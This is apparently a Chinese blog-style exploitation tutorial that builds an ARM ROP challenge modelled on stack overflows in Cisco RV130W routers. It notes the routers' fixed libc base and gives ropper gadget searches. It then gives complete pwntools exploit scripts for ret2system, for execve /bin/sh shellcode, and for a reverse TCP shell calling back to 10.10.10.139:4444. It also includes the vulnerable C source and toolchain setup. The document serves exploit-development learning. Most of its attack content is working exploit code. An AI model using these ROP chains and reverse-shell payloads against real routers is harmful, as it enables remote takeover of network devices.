在思科的RV130W路由器,因为字符串拷贝存在许多栈溢出漏洞,故利用时要考虑到空字符截断,一般来说存在这种限制条件的漏洞是不容易利用的。但不知为何,在思科这个系列的路由器中,进程加载动态库的地址是固定不变且位于高地址的,故可以通过各种动态库中的gadget来完成整个漏洞的利用,这里抽象出一道练习题进行练习寻找ROP的过程。
libc基址
在已经公开的对该款路由器的exp中:
- Cisco RV110W/RV130(W)/RV215W Routers Management Interface - Remote Command Execution (Metasploit)
- Cisco RV130W Routers - Management Interface Remote Command Execution (Metasploit)
可以看到RV130W的基址为0x357fb000,不过这个基址在最新版上有了一点点变化,改为0x357fc000,但是具体原因不详,和之前分析的110W一样,可能都是系统压根没支持随机化。题目中我们方便模拟,直接在程序开始给出了libc基址相关信息:
➜ qemu-arm -L ./ ./pwntest
gift: f67d80c0
分析程序或者看之后的源码,都容易的发现,恶意数据会被strcpy到栈上引发栈溢出,并且copy后,位于全局变量的源恶意数据会被清空,故程序可控的数据主要还是位于栈上。本篇主要是复现使用libc中的gadget进行ROP寻找以及利用,所以肯定还有其他各种方案,这里分享自己分析出的两种思路:构造ROP使用system函数以及shellcode。
ret2system
想办法把sp给r0,然后system,rop数据后跟cmd
首先来看看我们能直接控制哪些寄存器:
➜ ROPgadget --binary ./libc.so.0 --only 'pop|ret'
Gadgets information
============================================================
0x00034410 : pop {r0, pc}
0x00052634 : pop {r1, pc}
0x0000bc30 : pop {r4, pc}
0x0000c35c : pop {r4, r5, pc}
0x0000c19c : pop {r4, r5, r6, pc}
0x0000c060 : pop {r4, r5, r6, r7, pc}
0x0000d128 : pop {r4, r5, r6, r7, r8, pc}
0x00010ca4 : pop {r4, r5, r6, r7, r8, sb, sl, fp, pc}
0x0001a484 : pop {r4, r5, r6, r7, r8, sb, sl, pc}
0x0000bf44 : pop {r4, r5, r6, r7, r8, sl, pc}
0x0000c124 : pop {r4, r5, r7, pc}
0x0000cb54 : pop {r4, r7, pc}
0x0000bc00 : pop {r7, pc}
从目标sp寄存器倒着找:找找有没有sp给r0,找到如下两条看起来好用的:
➜ ropper --file ./libc.so.0 --search "mov r0, sp"
0x00041308: mov r0, sp; blx r2;
0x00037884: mov r0, sp; blx r3;
如果要用以上的gadget,则需要提前控制r2或者r3,才能让ROP链继续工作,但是我们没有直接控制r2,r3的gadget,所以迂回战术,从可以控制的寄存器入手,找到一条:
➜ ropper --file ./libc.so.0 --search "mov r2, r0"
0x00041304: mov r2, r0; mov r0, sp; blx r2;
即通过r0控制r2,这条非常合适,因为这其实就是mov r0, sp
,前一条指令,直接省去了一条gadget。故rop链首先使用pop {r0, pc}
,控制r0为system,pc为mov r2, r0; mov r0, sp; blx r2;
,然后栈地址就会给r0,并跳转到system,exp如下:
from pwn import *
context(arch='arm',os='linux',log_level='debug')
io = process(["qemu-arm","-L",".","./pwntest"])
#io = process(["qemu-arm","-g","1234","-L",".","./pwn"])
io.recvuntil("gift: ")
libc = int(io.recv(),16) - 0x660c0
system = 0x0004d144
pop_r0 = 0x00034410 # pop {r0, pc}
mov_sp = 0x00041304 # mov r2, r0; mov r0, sp; blx r2;
payload = p32(libc + pop_r0)
payload += p32(libc + system)
payload += p32(libc + mov_sp)
payload += "$0"
io.sendline('a'*36+payload)
io.interactive()
但使用ret2system在真实情景有时不太优雅,一般cmd是去wget下载反弹shell,所以攻击者自己经常要开两个端口,一个web服务等着被攻击者去下载反弹shell的程序,一个端口等着shell来。
ret2shellcode
思考是否能直接使用shellcode进行反弹shell,这样攻击者就省去一个端口。在本题的情景下,恶意数据都在栈上,所以就是想办法凑出类似jmp sp的gadget
转移sp
仍然是从sp倒着找,滤掉一些实际重复、或者看着就很复杂、以及有内存操作指令的gadget:
➜ ropper --file ./libc.so.0 --nocolor --search "mov ??, sp" | grep -v "bl #"
0x00041308: mov r0, sp; blx r2;
0x00037884: mov r0, sp; blx r3;
0x0001084c: mov r5, sp; mov r2, r0; mov r0, r2; add sp, sp, #0x10; pop {r4, r5, r6, pc};
0x0004d120: mov r7, sp; mov r0, r5; add sp, sp, #0x14; pop {r4, r5, r6, r7, pc};
看起来sp给到r0,r5,r7都是有希望的。
增加sp
不过因为在rop的过程中,如果提前的将sp给到一个寄存器中,之后再想办法jmp到这个寄存器中,那个寄存器里存的sp指向的一定不是rop尾部的shellcode,所以要想办法让这个寄存器的值变大,指向rop尾部的shellcode才可以,这里有两种思路:
- 直接加有了sp赋值的目标寄存器,增加一些过滤条件,找一遍r0,r5,r7
- 找sp加立即数的赋值指令
首先来看r0,r5,r7的加法:
➜ ropper --file ./libc.so.0 --nocolor --search "add ??, r0, ??" | grep -v -E "bl #|bne #|beq #|b #|bls #|\["
0x0003f4f8: add r0, r0, #0x14; mov r1, r4; blx r5;
0x0003f4f8: add r0, r0, #0x14; mov r1, r4; blx r5; add sp, sp, #4; pop {r4, r5, pc};
0x0003f5cc: add r0, r0, #0x20; add sp, sp, #4; pop {r4, r5, pc};
0x0003f530: add r0, r0, #0x2380; add r0, r0, #0x14; mov r1, r4; blx r5;
0x0003f530: add r0, r0, #0x2380; add r0, r0, #0x14; mov r1, r4; blx r5; add sp, sp, #4; pop {r4, r5, pc};
0x00052328: add r0, r0, #0x80; pop {r4, pc};
0x000522e8: add r0, r0, #0x90; pop {r4, pc};
0x000522a8: add r0, r0, #0x94; pop {r4, pc};
0x0002bd18: add r0, r0, #1; add sp, sp, #4; pop {r4, r5, pc};
0x0002ea5c: add r0, r0, #1; bx lr;
0x0003fb30: add r0, r0, #8; blx r3;
0x00018594: add r0, r0, r3; bx lr;
0x00034a4c: add r3, r0, #1; and r3, r3, #1; add r0, r3, r2; bx lr;
0x0000c854: add r3, r0, r3; cmp r2, r3; bxhs lr; mov r0, #0; bx lr;
➜ ropper --file ./libc.so.0 --nocolor --search "add ??, r5, ??" | grep -v -E "bl #|bne #|beq #|b #|bls #|\["
0x0003fca8: add r0, r5, #8; blx r3;
0x00023598: add r3, r5, r3; add r0, r3, r2; add sp, sp, #4; pop {r4, r5, pc};
0x0002d568: add r5, r5, r3; rsb r7, r5, r7; mov r0, r7; add sp, sp, #4; pop {r4, r5, r6, r7, pc};
➜ ropper --file ./libc.so.0 --nocolor --search "add ??, r7, ??" | grep -v -E "bl #|bne #|beq #|b #|bls #|\
然后找sp加法赋值,这里发现,r1也可以作为转移sp的新目标
➜ ropper --file ./libc.so.0 --nocolor --search "add r?, sp, ??" | grep -v "bl #"
0x0002d260: add r1, sp, #0x10; blx r3;
故现在sp的转移目标有r0,r1,r5,r7。分析有的gadget不太好用,比如:
0x0003f5cc: add r0, r0, #0x20; add sp, sp, #4; pop {r4, r5, pc};
使用这个gadget应该是已经把sp扔到r0里了,但是这个gadget之后还add sp,并且一顿pop,显然我们在这个之后还需要b到r0上,故之后还要拼gadget,要保证给把sp扔到r0时的sp+0x20,能留出这一顿pop和b到r0上的gadget的距离,所以尽量不选用add的比较小,还带pop的gadget,这样很浪费空间,所以综上分析:
- 转移sp到r5的gadget,在转移之后要add sp并且一顿pop,所以暂时放弃r5作为转移sp的选择
- r7没有直接自加的gadget,故放弃
所以目标还剩r0和r1,找出看着比较有潜力的几条:
r0自加的:
0x0003f4f8: add r0, r0, #0x14; mov r1, r4; blx r5;
0x00052328: add r0, r0, #0x80; pop {r4, pc};
sp加立即数给到r1:
0x0002d260: add r1, sp, #0x10; blx r3;
蹦到sp
所以最后要蹦到r1或者r0,在ret2system的gadget中,有一条:
0x00041304: mov r2, r0; mov r0, sp; blx r2;
这就相当于蹦到r0,那么我们找一下有没有更直接蹦到r1和r0的呢:
➜ ropper --file ./libc.so.0 --nocolor --search "b?? r0"
0x00048414: blx r0;
➜ ropper --file ./libc.so.0 --nocolor --search "b?? r1"
故有r0看起来最方便,当然也可以通过迂回的方式蹦到r1,但是现在看起来没有特别的必要
完整ROP链
经过选定,每一步都有两种还比较合适的方案:
转移sp
0x00041308: mov r0, sp; blx r2;
0x00037884: mov r0, sp; blx r3;
增加sp
0x0003f4f8: add r0, r0, #0x14; mov r1, r4; blx r5;
0x00052328: add r0, r0, #0x80; pop {r4, pc};
蹦到sp
0x00048414: blx r0;
0x00041304: mov r2, r0; mov r0, sp; blx r2;
选择每个里面看起来约束最少,难度最低的:
0x00041308: mov r0, sp; blx r2;
0x00052328: add r0, r0, #0x80; pop {r4, pc};
0x00048414: blx r0;
所以只要控制r2即可,最开始我们能控制r0,r1,r4-r8,故从小号寄存器开始找:
➜ ropper --file ./libc.so.0 --nocolor --search "mov r2, r0" | grep -v -E "bl #|bne #|beq #|b #|bls #|\["
0x0002dea8: mov r2, r0; asr r3, r2, #0x1f; mov r1, r3; mov r0, r2; bx lr;
0x00010850: mov r2, r0; mov r0, r2; add sp, sp, #0x10; pop {r4, r5, r6, pc};
0x00041304: mov r2, r0; mov r0, sp; blx r2;
➜ ropper --file ./libc.so.0 --nocolor --search "mov r2, r1" | grep -v -E "bl #|bne #|beq #|b #|bls #|\["
0x0003263c: mov r2, r1; mov r0, r2; pop {r4, pc};
➜ ropper --file ./libc.so.0 --nocolor --search "mov r2, r4" | grep -v -E "bl #|bne #|beq #|b #|bls #|\["
0x0000c11c: mov r2, r4; mov r0, r2; pop {r4, r5, r7, pc};
看r1的那条最顺眼,故使用的所有gadget如下,同控制流顺序:
0x00052634: pop {r1, pc};
0x0003263c: mov r2, r1; mov r0, r2; pop {r4, pc};
0x00041308: mov r0, sp; blx r2;
0x00052328: add r0, r0, #0x80; pop {r4, pc};
0x00048414: blx r0;
拼接方法:
最终exp
bin/sh
shellcode: http://shell-storm.org/shellcode/files/shellcode-659.php
from pwn import *
context(arch='arm',os='linux',log_level='debug')
io = process(["qemu-arm","-L",".","./pwntest"])
shellcode = "\x02\x20\x42\xe0"
shellcode += "\x1c\x30\x8f\xe2"
shellcode += "\x04\x30\x8d\xe5"
shellcode += "\x08\x20\x8d\xe5"
shellcode += "\x13\x02\xa0\xe1"
shellcode += "\x07\x20\xc3\xe5"
shellcode += "\x04\x30\x8f\xe2"
shellcode += "\x04\x10\x8d\xe2"
shellcode += "\x01\x20\xc3\xe5"
shellcode += "\x0b\x0b\x90\xef"
shellcode += "/bin/sh"
io.recvuntil("gift: ")
libc = int(io.recv(),16) - 0x660c0
padding = 0x11111111
payload = p32(libc + 0x00052634) # pop {r1, pc};
payload += p32(libc + 0x00052328) # add r0, r0, #0x80; pop {r4, pc};
payload += p32(libc + 0x0003263c) # mov r2, r1; mov r0, r2; pop {r4, pc};
payload += p32(padding)
payload += p32(libc + 0x00041308) # mov r0, sp; blx r2;
payload += p32(padding)
payload += p32(libc + 0x00048414) # blx r0;
payload += p32(padding)*0x78
payload += shellcode
io.sendline('a'*36+payload)
io.interactive()
reverse_tcp
shellcode: https://www.exploit-db.com/shellcodes/43921
from pwn import *
import thread
context(arch='arm',os='linux',log_level='debug')
shell = listen(4444)
def gen_addr(ip,port):
ip = chr(ip[0])+chr(ip[1])+chr(ip[2])+chr(ip[3])
port = p32(port)[::-1][2:]
return ip,port
def attack():
io = process(["qemu-arm","-L",".","./pwntest"])
io.recvuntil("gift: ")
libc = int(io.recv(),16) - 0x660c0
ip, port = gen_addr([10,10,10,139],4444)
shellcode = "\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x02\x20\x01\x21\x52\x40\xc8\x27"
shellcode += "\x51\x37\x01\xdf\x04\x1c\x0a\xa1\x4a\x70\x10\x22\x02\x37\x01\xdf"
shellcode += "\x20\x1c\x49\x40\x3f\x27\x01\xdf\x20\x1c\x01\x31\x01\xdf\x20\x1c"
shellcode += "\x01\x31\x01\xdf\x04\xa0\x49\x40\x52\x40\xc2\x71\x0b\x27\x01\xdf"
shellcode += "\x02\xff"+port+ip+"\x2f\x62\x69\x6e\x2f\x73\x68\x58"
padding = 0x11111111
payload = p32(libc + 0x00052634) # pop {r1, pc}
payload += p32(libc + 0x00052328) # add r0, r0, #0x80; pop {r4, pc};
payload += p32(libc + 0x0003263c) # mov r2, r1; mov r0, r2; pop {r4, pc};
payload += p32(padding)
payload += p32(libc + 0x00041308) # mov r0, sp; blx r2;
payload += p32(padding)
payload += p32(libc + 0x00048414) # blx r0;
payload += p32(padding)*0x78
payload += shellcode
io.sendline('a'*36+payload)
thread.start_new_thread(attack,())
shell.wait_for_connection()
log.success("getshell")
shell.interactive()
烧脑链
之前在真实设备上调的时候,找的链比上面的复杂:
转移sp、增加sp、蹦到sp
0x00041308: mov r0, sp; blx r2;
0x0003f4f8: add r0, r0, #0x14; mov r1, r4; blx r5;
0x00041304: mov r2, r0; mov r0, sp; blx r2;
使用r4控制r2
0x0000bc30: pop {r4, pc};
0x0000c11c: mov r2, r4; mov r0, r2; pop {r4, r5, r7, pc};
故使用的所有gadget如下,同控制流顺序:
0x0000bc30: pop {r4, pc};
0x0003f4f8: add r0, r0, #0x14; mov r1, r4; blx r5;
0x0000c11c: mov r2, r4; mov r0, r2; pop {r4, r5, r7, pc};
0x00041304: mov r2, r0; mov r0, sp; blx r2;
0x00041308: mov r0, sp; blx r2;
拼接时如果是pop pc的控制流,则直接拼接即可。如果是跳转到寄存器的控制流,则将接下来的控制流在pop初始控制寄存器的位置拼接,最终方法如下:
from pwn import *
context(arch='arm',os='linux',log_level='debug')
io = process(["qemu-arm","-L",".","./pwntest"])
shellcode = "\x02\x20\x42\xe0"
shellcode += "\x1c\x30\x8f\xe2"
shellcode += "\x04\x30\x8d\xe5"
shellcode += "\x08\x20\x8d\xe5"
shellcode += "\x13\x02\xa0\xe1"
shellcode += "\x07\x20\xc3\xe5"
shellcode += "\x04\x30\x8f\xe2"
shellcode += "\x04\x10\x8d\xe2"
shellcode += "\x01\x20\xc3\xe5"
shellcode += "\x0b\x0b\x90\xef"
shellcode += "/bin/sh"
io.recvuntil("gift: ")
libc = int(io.recv(),16) - 0x660c0
padding = 0x11111111
payload = p32(libc + 0x0000bc30) # pop {r4, pc};
payload += p32(libc + 0x0003f4f8) # add r0, r0, #0x14; mov r1, r4; blx r5;
payload += p32(libc + 0x0000c11c) # mov r2, r4; mov r0, r2; pop {r4, r5, r7, pc};
payload += p32(padding)
payload += p32(libc + 0x00041304) # mov r2, r0; mov r0, sp; blx r2;
payload += p32(padding)
payload += p32(libc + 0x00041308) # mov r0, sp; blx r2;
payload += p32(padding)*5
payload += shellcode
io.sendline('a'*36+payload)
io.interactive()
出题
源码
# include <unistd.h>
# include <stdio.h>
char a[5000];
void vul(){
char b[32];
printf("gift: %x\n",stdin);
read(0,a,5000);
strcpy(b,a);
memset(a,0,5000);
}
int main(){
vul();
return 0;
}
编译
因为是uclibc,所以不能用:
arm-linux-gnueabi-gcc
arm-linux-gnueabihf-gcc
在uclibc官网https://www.uclibc.org/,找到使用方法:https://www.uclibc.org/toolchains.html,就是要自己使用buildroot进行编译,不过他们也提供了之前编译好的交叉编译工具,不过一个404,一个下来也不好使。现在对buildroot还没有完整的使用,关于交叉编译之后会单独开一遍详细的,本次只是为了复现ROP寻找过程,故决定继续搜索找个编译好的直接用。
Google搜索:uclibc arm toolchain
,找到:http://download.ronetix.info/toolchains/arm/,其中ronetix-arm-linux-uclibc-4.1.2.tar.bz2,可以完成本工作,使用方法如下:
➜ sudo mkdir -p /home/danov/ronetix/buildroot/build_arm/staging_dir/lib
➜ cp -r ./home/ronetix/arm-linux-uclibc/lib/* /home/danov/ronetix/buildroot/build_arm/staging_dir/lib
➜ ./home/ronetix/arm-linux-uclibc/bin/arm-linux-uclibc-gcc main.c -o pwntest
但是编译出来的函数在序言时会将sp压栈,尾声时会将sp出栈,如果是这样的话,栈溢出直接破坏了sp指针,如果内存里没有预先放好位置的gadget,也就没法rop了,不知道为啥编译器这么搞,正常arm程序应该不会这样:
.text:000085D8 00 D8 2D E9 PUSH {R11,R12,LR,PC}
...
.text:00008640 00 A8 9D E8 LDMFD SP, {R11,SP,PC}
为了方便题目练习,所以用IDA的keypatch修改了一下:
.text:000085D8 00 C8 2D E9 PUSH {R11,LR,PC}
...
.text:00008640 00 88 9D E8 LDMFD SP, {R11,PC}
其他参考
下次写buildroot的时候用